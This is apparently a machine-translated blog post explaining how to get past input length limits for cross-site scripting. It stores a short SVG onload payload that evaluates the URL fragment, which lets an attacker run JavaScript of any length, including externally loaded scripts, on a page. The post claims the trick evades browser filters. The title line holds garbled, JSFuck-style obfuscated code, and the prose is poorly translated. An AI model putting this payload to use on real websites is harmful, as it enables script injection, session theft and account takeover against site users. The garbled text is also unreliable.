Change the stored XSS to a reflected XSS. Break through the length limit LaiX ([] [(! [] + []) [+ [+ [] + ([] [] + []) [+ [[! + [] +! + [] +! + [] +! + [] +! + [] + (! [] + []) [+ [[! + [] +! + [] + (!! [] + []) [+ [+ [] + (!! [] + []) [+ [[! + [] +! + [] +! + [] + (!! [] + []) [+ [+! + [] [([] [(! [] + []) [+ [+ [] + ([] [] + []) [+ [[! + [] +! + [] +! + [] +! + [] +! + [] + (! [] + []) [+ [[! + [] +! + [] +) | What if we encounter a length limit? Is it true that you cannot use it and give up? In fact, we can exert infinite power to the limited space. Recently, I have studied the idea of converting a stored XSS into a reflected XSS. However, you must enter at least 46 characters. The Code is as follows: <svg/onload = eval (location. hash. split ('#') [1])> Insert the above code into a place where at least 46 characters can be entered and then access the http://example.com/#alert (); or http://example.com/# (loading an external JS) can execute the infinite length JS Code, the disadvantage is to become a reflection type, the good news is compatible with all browsers, will not be killed by the Filter of the browser. If you have a shorter posture, please share the discussion.